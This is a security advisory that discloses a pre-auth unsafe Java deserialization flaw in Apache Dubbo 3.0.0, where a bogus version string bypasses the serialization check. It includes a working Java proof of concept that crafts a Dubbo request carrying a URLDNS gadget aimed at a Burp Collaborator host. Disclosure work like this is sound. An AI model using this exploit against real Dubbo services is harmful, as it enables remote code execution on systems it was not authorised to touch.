Coordinated Disclosure Timeline

Summary

Pre-Auth Unsafe Java Deserialization

Product

Apache Dubbo

Tested Version

3.0.0

Details

Apache Dubbo 2.6.10.1 introduced a new property to prevent consumers from changing the serialization type specified by the provider (serialization.security.check)

The check is implemented by CodecSupport.checkSerialization():

    public static void checkSerialization(String path, String version, Byte id) throws IOException {
        ServiceRepository repository = ApplicationModel.getServiceRepository();
        ProviderModel providerModel = repository.lookupExportedServiceWithoutGroup(path + ":" + version);
        if (providerModel == null) {
            if (logger.isWarnEnabled()) {
                logger.warn("Serialization security check is enabled but cannot work as expected because " +
                        "there's no matched provider model for path " + path + ", version " + version);
            }
        } else {
            List<URL> urls = providerModel.getServiceConfig().getExportedUrls();
            if (CollectionUtils.isNotEmpty(urls)) {
                URL url = urls.get(0);
                String serializationName = url.getParameter(org.apache.dubbo.remoting.Constants.SERIALIZATION_KEY, Constants.DEFAULT_REMOTING_SERIALIZATION);
                Byte localId = SERIALIZATIONNAME_ID_MAP.get(serializationName);
                if (localId != null && !localId.equals(id)) {
                    throw new IOException("Unexpected serialization id:" + id + " received from network, please check if the peer send the right id.");
                }
            }
        }
    }

The check is only exercised by DecodeableRpcInvocation.decode() if the serialization.security.check property is true:

    public Object decode(Channel channel, InputStream input) throws IOException {
        ObjectInput in = CodecSupport.getSerialization(channel.getUrl(), serializationType)
                .deserialize(channel.getUrl(), input);
        this.put(SERIALIZATION_ID_KEY, serializationType);

        String dubboVersion = in.readUTF();
        request.setVersion(dubboVersion);
        setAttachment(DUBBO_VERSION_KEY, dubboVersion);

        String path = in.readUTF();
        setAttachment(PATH_KEY, path);
        String version = in.readUTF();
        setAttachment(VERSION_KEY, version);

        setMethodName(in.readUTF());

        String desc = in.readUTF();
        setParameterTypesDesc(desc);

        try {
            if (ConfigurationUtils.getSystemConfiguration().getBoolean(SERIALIZATION_SECURITY_CHECK_KEY, true)) {
                CodecSupport.checkSerialization(path, version, serializationType);
            }
        ...

This control is not effective since an attacker can control both the path and version arguments passed to checkSerialization() and therefore, they can pass a legit path with an non-existent version which will make the call to repository.lookupExportedServiceWithoutGroup(path + ":" + version) return null and the branch where “Serialization security check is enabled but cannot work as expected” is printed to the log does not throw an exception. Therefore, the execution of DecodeableRpcInvocation.decode() will continue until it reaches:

            if (desc.length() > 0) {
                ServiceRepository repository = ApplicationModel.getServiceRepository();
                ServiceDescriptor serviceDescriptor = repository.lookupService(path);
                if (serviceDescriptor != null) {
                    MethodDescriptor methodDescriptor = serviceDescriptor.getMethod(getMethodName(), desc);
                    if (methodDescriptor != null) {
                        pts = methodDescriptor.getParameterClasses();
                        this.setReturnTypes(methodDescriptor.getReturnTypes());
                    }
                }
                if (pts == DubboCodec.EMPTY_CLASS_ARRAY) {
                    if (!RpcUtils.isGenericCall(desc, getMethodName()) && !RpcUtils.isEcho(desc, getMethodName())) {
                        throw new IllegalArgumentException("Service not found:" + path + ", " + getMethodName());
                    }
                    pts = ReflectUtils.desc2classArray(desc);
                }

                args = new Object[pts.length];
                for (int i = 0; i < args.length; i++) {
                    try {
                        args[i] = in.readObject(pts[i]);                                                                <<<< Line 155
                    } catch (Exception e) {
                        if (log.isWarnEnabled()) {
                            log.warn("Decode argument failed: " + e.getMessage(), e);
                        }
                    }
                }
            }

The unsafe deserialization occurs in line 155 but to reach that point, an attacker needs to send a valid path that makes repository.lookupService(path); return a valid ServiceDescriptor. Note that, in this case, the lookup operation does not take the version into account which means that an attacker can make repository.lookupExportedServiceWithoutGroup(path + ":" + version) fail but repository.lookupService(path); succeed, enabling them to effectively change the serialization type to the native Java one, skipping the security check (when enabled) and reaching a deserialization operation.

PoC

package org.pwntester.dubbo;

import org.apache.dubbo.common.io.Bytes;
import org.pwntester.dubbo.utils.Gadgets;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.Socket;

public class NativeJavaSwitch {

    protected static final int HEADER_LENGTH = 16;
    protected static final short MAGIC = (short) 0xdabb;
    protected static final byte FLAG_REQUEST = (byte) 0x80;
    protected static final byte FLAG_TWOWAY = (byte) 0x40;
    protected static final byte FLAG_EVENT = (byte) 0x20;


    public static void main(String[] args) throws Exception {

        /*
        0-7: Magic High            header[0]
        8-15:Magic Low            header[1]
        16:Req/Res              |
        17:2way                 |
        18:Event                | header[2]
        19-23:Serialization     |
        24-31:status              header[3]
        32-95:id                  header[4-11]
        96-127:body               header[12-14]
        */

        // header.
        byte[] header = new byte[HEADER_LENGTH];

        // set magic number.
        Bytes.short2bytes(MAGIC , header);

        // set request and serialization flag.
        // 2 -> "hessian2"
        // 3 -> "java"
        // 4 -> "compactedjava"
        // 6 -> "fastjson"
        // 7 -> "nativejava"
        // 8 -> "kryo"
        // 9 -> "fst"
        // 10 -> "native-hessian"
        // 11 -> "avro"
        // 12 -> "protostuff"
        // 16 -> "gson"
        // 21 -> "protobuf-json"
        // 22 -> "protobuf"
        // 25 -> "kryo2"
        boolean isResponse = false;
        boolean okResponse = true;
        if (isResponse) {
            header[2] = (byte) 3;
            if (okResponse) {
                header[3] = (byte) 20;
            } else {
                header[3] = (byte) 0;
            }
        } else {
            header[2] = (byte) (FLAG_REQUEST | 3);
        }

        boolean isTwoWay = true;
        if (isTwoWay) {
            header[2] |= FLAG_TWOWAY;
        }

        boolean isEvent = false;
        if (isEvent) {
            header[2] |= FLAG_EVENT;
        }

        // set request id.
        Bytes.long2bytes(666, header, 4);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        try {
            /* For Requests, we need to encode the following objects
              1.dubboVersion
              2.path
              3.version
              4.methodName
              5.methodDesc
              6.paramsObject
              7.map
            */
            oos.writeInt(666);
            oos.writeUTF("3.0.0");
            oos.writeInt(666);
            oos.writeUTF("org.apache.dubbo.metadata.MetadataService");
            oos.writeInt(666);
            oos.writeUTF("6.6.6");
            oos.writeInt(666);
            oos.writeUTF("getExportedURLs");
            oos.writeInt(666);
            oos.writeUTF("Ljava/lang/String;");
            oos.writeByte(666);
            Object o = Gadgets.generate_urldns_payload("http://mwmdo13ymchgll5lcw9e2pbai1orcg.burpcollaborator.net");
            oos.writeObject(o);
        } finally {
          if (oos != null) {
            oos.close();
          }
        }

        // write length of body into header
        Bytes.int2bytes(baos.size(), header, 12);

        // write header into OS
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        byteArrayOutputStream.write(header);

        // write payload into OS
        byteArrayOutputStream.write(baos.toByteArray());

        // get bytes
        byte[] bytes = byteArrayOutputStream.toByteArray();

        // send bytes
        Socket socket = new Socket("127.0.0.1", 20880);
        OutputStream outputStream = socket.getOutputStream();
        outputStream.write(bytes);
        outputStream.flush();
        outputStream.close();
    }
}

Impact

This issue may lead to pre-auth Remote Code Execution (RCE)

CVE

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2021-097 in any communication regarding this issue.